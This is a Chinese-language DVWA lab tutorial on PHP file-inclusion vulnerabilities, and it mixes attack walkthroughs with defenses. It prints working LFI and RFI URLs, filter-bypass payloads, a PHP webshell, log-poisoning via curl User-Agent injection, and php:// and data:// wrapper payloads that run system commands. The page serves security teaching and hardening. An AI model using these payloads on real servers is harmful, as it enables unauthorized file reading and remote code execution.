当前位置: 首页 > news >正文

DVWA文件包含漏洞实战:从allow_url_include配置到GetShell全流程解析

DVWA文件包含漏洞实战:从环境配置到攻击防御全解析

漏洞原理与靶场环境搭建

文件包含漏洞是Web安全领域常见的高危漏洞之一,它允许攻击者通过动态文件包含机制读取敏感文件或执行任意代码。在PHP开发中,include、require等函数的不当使用是导致该漏洞的主要原因。

漏洞核心机制:当开发者使用变量动态包含文件时,若未对用户输入进行严格过滤,攻击者就能控制包含的文件路径。根据包含文件的来源,可分为两种类型:

  • 本地文件包含(LFI):包含服务器本地的文件
  • 远程文件包含(RFI):通过HTTP/FTP等协议包含远程服务器上的文件

在DVWA靶场中,文件包含模块默认会提示"The PHP function allow_url_include is not enabled",这是因为PHP的安全配置限制了远程文件包含功能。要启用完整功能,需修改php.ini中的两个关键参数:

allow_url_include = On allow_url_fopen = On

修改后需重启Web服务使配置生效。值得注意的是,在生产环境中开启这些选项会显著增加安全风险,靶场环境仅为教学目的而配置。

基础漏洞利用实战

Low安全级别:无防护的包含漏洞

在DVWA的Low安全级别下,代码直接使用用户输入的page参数进行文件包含,没有任何过滤措施:

$file = $_GET['page'];

这种实现方式极其危险,攻击者可以:

  1. 读取系统敏感文件(如/etc/passwd)
  2. 包含远程恶意脚本执行任意代码
  3. 通过路径遍历访问Web目录外的文件

典型攻击示例

# 本地文件包含 http://靶场地址/vulnerabilities/fi/?page=../../../../etc/passwd # 远程文件包含 http://靶场地址/vulnerabilities/fi/?page=http://攻击者服务器/shell.txt

提示:在实际渗透测试中,成功利用RFI通常能直接获取服务器权限,是最危险的Web漏洞之一

Medium安全级别:基础过滤与绕过

Medium级别增加了简单的过滤机制:

$file = str_replace(array("http://", "https://"), "", $file); $file = str_replace(array("../", "..\\"), "", $file);

这种过滤可通过以下方式绕过:

  1. 双写绕过:hthttp://tp://attacker.com/shell.txt → 过滤后变为http://attacker.com/shell.txt
  2. 大小写混淆:HtTp://或HTTP://可能绕过简单的大小写敏感过滤
  3. 使用其他协议:如ftp://、php://等未被过滤的协议

有效Payload示例

# 双写绕过路径遍历 http://靶场地址/vulnerabilities/fi/?page=....//....//etc/passwd # 大小写混淆远程包含 http://靶场地址/vulnerabilities/fi/?page=HtTp://attacker.com/shell.txt

高级攻击技术与防御绕过

High安全级别:严格的文件名限制

High级别采用了更严格的限制,只允许包含以"file"开头的文件:

if(!fnmatch("file*", $file) && $file != "include.php") { echo "ERROR: File not found!"; exit; }

这种情况下,攻击者可以:

  1. 利用file协议读取本地文件:file:///etc/passwd
  2. 结合已知文件路径进行目录遍历:file1.php../../../../etc/passwd

高级利用技巧

# 使用file协议读取配置文件 http://靶场地址/vulnerabilities/fi/?page=file:///etc/passwd # 日志文件注入攻击(需知道日志路径) 1. 访问包含PHP代码的URL:<?php system($_GET['cmd']);?> 2. 包含日志文件执行代码:?page=../../var/log/apache2/access.log&cmd=id

伪协议利用技术

PHP支持多种伪协议,在文件包含漏洞中特别有用:

协议用途示例
php://input执行POST数据中的代码需同时发送POST请求体:
php://filter读取文件源码(Base64编码)php://filter/convert.base64-encode/resource=config.php
data://直接包含Base64编码的数据data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

伪协议攻击示例

# 使用php://filter读取配置文件源码 http://靶场地址/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index.php # 使用data://直接执行代码 http://靶场地址/vulnerabilities/fi/?page=data://text/plain,<?php system('id');?>

防御方案与最佳实践

多层级防御策略

  1. 输入验证层

    • 使用白名单严格限制可包含的文件
    • 过滤所有特殊字符(../, ://等)
    • 验证文件扩展名和路径
  2. 配置加固层

    allow_url_include = Off allow_url_fopen = Off open_basedir = /var/www/html
  3. 代码设计层

    • 避免动态包含用户可控的文件
    • 使用固定文件映射代替直接变量包含
    • 实现文件完整性校验机制

安全代码示例

不安全实现

$page = $_GET['page']; include($page);

安全实现

$allowed = ['home.php', 'about.php', 'contact.php']; $page = $_GET['page']; if(in_array($page, $allowed)) { include($page); } else { include('404.php'); }

漏洞利用的实战案例

案例1:通过文件包含获取WebShell

  1. 准备一个包含WebShell代码的文本文件(shell.txt):

    <?php system($_GET['cmd']);?>
  2. 在攻击者服务器上启动HTTP服务:

    python3 -m http.server 80
  3. 通过RFI包含远程文件:

    http://靶场地址/vulnerabilities/fi/?page=http://攻击者IP/shell.txt?cmd=id

案例2:日志注入攻击

  1. 确定Web服务器日志路径(如/var/log/apache2/access.log)
  2. 发送包含PHP代码的请求:
    curl -A "<?php system($_GET['cmd']);?>" http://靶场地址/
  3. 包含日志文件执行代码:
    http://靶场地址/vulnerabilities/fi/?page=../../var/log/apache2/access.log&cmd=id

生产环境防护建议

  1. 最小权限原则

    • Web服务器以低权限用户运行
    • 限制PHP可访问的目录(open_basedir)
    • 定期审计文件权限
  2. 深度防御措施

    • 部署WAF拦截包含攻击特征请求
    • 启用PHP安全模式(safe_mode)
    • 配置SELinux/AppArmor限制Web进程行为
  3. 持续监控

    • 监控异常文件包含行为
    • 审计包含的文件路径
    • 记录并分析包含失败的尝试

文件包含漏洞的危害不容小觑,从简单的信息泄露到完整的系统沦陷都可能发生。通过DVWA靶场的实践,我们可以深入理解漏洞原理、掌握多种利用技术,并学习如何构建有效的防御体系。

http://www.jsqmd.com/news/503778/

相关文章:

  • 从零到一:基于立创EDA的STM32F103C8T6最小系统PCB实战设计
  • Qwen3.5-9B效果实测:对微信小程序界面截图生成可运行的Taro代码框架
  • Z-Image-Turbo-rinaiqiao-huiyewunv部署教程:辉夜大小姐专属二次元绘图镜像一键启动
  • Bolt.diy实战:5分钟用语音输入+GitHub同步,打造你的AI全栈工作流
  • Citra模拟器性能优化指南:从卡顿到流畅的全方位解决方案
  • Qwen3-VL-WEBUI场景应用:从设计稿一键生成可运行网页
  • MCP协议实战:让API文档自动生成业务代码,开发效率显著提升
  • 基于多粒度特征融合与Swin-Transformer的细粒度图像分类实战
  • Seata 2.0.0 数据库模式配置全解析:MySQL 存储实战教程
  • ZeroMQ传输协议对比:inproc vs TCP vs IPC,选哪个更合适你的场景?
  • 计算机毕业设计springboot基于的企业采购系统设计与实现 SpringBoot框架下的企业物资采购管理平台研发 基于Java技术的企业供应链采购系统构建与实践
  • 不止是XML:用Rimworld的Defs文件,像搭积木一样设计你的第一个自定义武器
  • 服饰解构新范式:Nano-Banana软萌拆拆屋开源模型效果展示
  • Turbo Intruder:重新定义高性能HTTP安全测试的技术范式
  • 根据所提供的文字范围,一个合适的标题可以是:“MATLAB仿真:复现耗散孤子共振DSR及金兹堡...
  • Ubuntu桌面系统爆致命漏洞(CVE-2026-3888):普通用户可直接获取root权限,亿级设备面临风险
  • 职场人必备:用Microsoft Project高效管理项目进度(附甘特图实战教程)
  • JupyterNotebook实战:5个提升数据分析效率的隐藏技巧(附代码示例)
  • 昇腾 910B 多机部署 DeepSeek-V3/R1 671B 满血版:从零到一的实战避坑指南
  • Face3D.ai Pro进阶技巧:如何获得更逼真的皮肤纹理细节
  • 【Java面试必考】集合框架全解析:HashMap底层图解、线程安全与性能选型
  • 老项目需求开发效率翻倍:AI编程实战指南
  • SLAM新手必看:如何用II-NVM的LRU缓存策略提升三维重建效率(附实测数据)
  • 大模型安全避坑指南:5个容易被忽视的后门攻击风险点(含防御配置模板)
  • 手把手教你配置L2TP客户端拨号连接
  • 今天发现p1108里面被小孩子塞了饼干进去,我都不知道——但是为何打印机经常出现随机中断——有时候还多打印——页面还出现竖向条纹,这个到底什么原因?-是不是打印机坏了?需要修吗?
  • C#与Sql Server 2008 R2图书信息管理系统源码解析:基于VS2015与.NET...
  • 从0x603F看EtherCAT CoE设计哲学:为什么错误处理对象要这样设计?
  • 【51单片机实战解析】MPU6050结合Madgwick AHRS算法:从六轴数据到稳定欧拉角的实现与调优
  • 如何高效使用QRBTF:艺术二维码生成的完整实践指南